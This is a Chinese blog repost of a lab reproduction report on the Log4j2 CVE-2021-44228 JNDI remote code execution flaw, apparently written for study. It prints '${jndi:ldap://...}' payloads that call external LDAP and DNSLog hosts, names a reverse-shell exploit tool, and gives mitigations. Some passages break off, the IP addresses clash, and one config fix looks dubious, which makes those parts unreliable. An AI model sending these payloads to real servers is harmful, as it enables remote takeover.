欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

漏洞恢复报告:CVE-2021-44228 Log4j2 远程代码执行漏洞

最编程 2024-03-13 17:09:26
...

Log4j2远程代码执行漏洞研究报告

一、漏洞信息搜集

1.1 漏洞信息表

漏洞名称

Log4j2远程代码执行漏洞

发布时间

2021年12月10日

漏洞编号

CVE-2021-44228

威胁类型

远程代码执行

危害级别

高危

影响版本

Apache Log4j2 2.0 - 2.15.0-rc1

漏洞描述

产品介绍:Apache Log4j是一个Java日志框架,用于在应用程序中生成日志消息。它是Apache软件基金会的一个开源项目,提供了一个灵活且可配置的日志记录解决方案。

Log4j的主要目标是帮助开发人员记录和管理应用程序中的关键信息。通过在代码中插入适当的日志语句,开发人员可以捕捉程序运行时的各种事件和状态信息。这些日志消息可以用于调试、故障排除、性能分析以及记录重要的业务操作。

漏洞概述:这是一个Apache Log4j 2.x的远程代码执行漏洞,这个漏洞已经被广泛利用,因为Log4j是一个常用的Java日志记录库,很多应用程序都使用它来记录日志。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

危害说明:攻击者可以通过构造恶意的请求,向受影响的服务器发送特殊的数据包,从而导致服务器执行远程代码。

漏洞指纹

常用端口/协议:不基于端口或协议

请求参数/关键路径(漏洞入口):

漏洞验证与利用

POC:

EXP:

集成工具:

修复建议

正式修复方案:

临时修复方案:

参考链接

文章标题:链接






二、漏洞快速验证

2.1 漏洞靶机搭建

Log4j2 2.14.1

CC 3.2.1

方法一:直接加载漏洞环境(推荐)

在线靶场:vulfocus(http://vulfocus.io/#/dashboard)


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序






在vulfocus靶场中找到Apache Log4j2远程命令执行(CVE-2021-44228)并启动

漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_02





方法二:

1.安装docker和docker-compose

sudo apt-get install docker

sudo apt-get install python3-pip

pip3 install docker-compose

漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_03


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_04



漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_05


2.2 POC漏洞验证

通过DNSLog平台(http://www.dnslog.cn/)获取到域名,构造payload ,游览器点击?????使用Burp进行抓包,并且抓包替换payload参数

漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_06


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_07




替换payload为${jndi:ldap://king.2f8db4e5.dns.1433.eu.org/exp}并发包





也可以使用Burp自带的URL编码进行编码,然后再次发包

漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_Apache_08


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_Apache_09









三、漏洞利用实践

EXP 1:

JNDI注入反弹shell


使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用:

下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

执行EXP,生成可用的payload

码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_Apache_10


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_11




漏洞修复实践

4.1 修复方案1:临时修复方案

1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。由于Java RMI,的实现依赖于JVM,所以可以通过调用JVM来修改。

2.设置log4j2.formatMsgNoLookups=True。

3.采用waf对请求流量中的${jndi进行拦截。通过对拦截JNDI语句来防止JNDI注入。

4.禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。

4.2 修复方案2:标准解决方案

Apache官方发布新版本漏洞修复

https://link.zhihu.com/?target=https%3A//github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2


(详细说明工程化的应用环境条件、具体过程以及注意事项等)

代码解析

(针对工程化程序的总体架构进行讲解,并对关键功能模块进行解析等。)



五、漏洞原理分析

漏洞原理分析

apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)


日志在打印时当遇到


由于log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,通过rmi等等。目前看到使用最多的主要是使用ldap来构造payload:


${jndi:ldap://ip/port/exp}


最终效果就是通过


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_docker_12


整个利用流程分两步:


第一步:向目标发送指定


第二步:目标服务器收到重定向请求之后,下载恶意


关于利用LDAP服务来进行注入攻击已经不是第一次了,JNDI注入,即某代码中存在JDNI的string可控的情况,可构造恶意RMI或者LDAP服务端,导致远程任意类被加载,造成任意代码执行。Fastjson RCE漏洞的利用也用到LDAP注入攻击,还有其他的一些。

漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_13


漏洞修复分析

当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中

假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp

解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找

在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入

攻击者就可以通过shell实现任意的命令执行,造成严重危害

修复这个漏洞的推荐方法是升级到Log4j2版本2.17.0或更高版本。以下几个补丁方案:

将log4j-core库文件(log4j-core-2.14.1.jar)替换为修复了漏洞的版本。可以从Apache Log4j官方网站下载最新的修复版本。

移除log4j-core库文件,如果应用程序不需要此库文件的其他功能。这可以通过删除类路径中的相关Jar文件来实现。注意,这可能会影响应用程序的日志功能,因此在执行此操作前应进行测试。

在应用程序的配置文件中添加如下代码来阻止利用该漏洞的特定JNDI功能调用:

<ContextJndiFilter exclude=".*"/>

这些补丁方案可以帮助减轻漏洞的风险最好还是尽快升级到修复了漏洞的版本,以确保系统的安全性。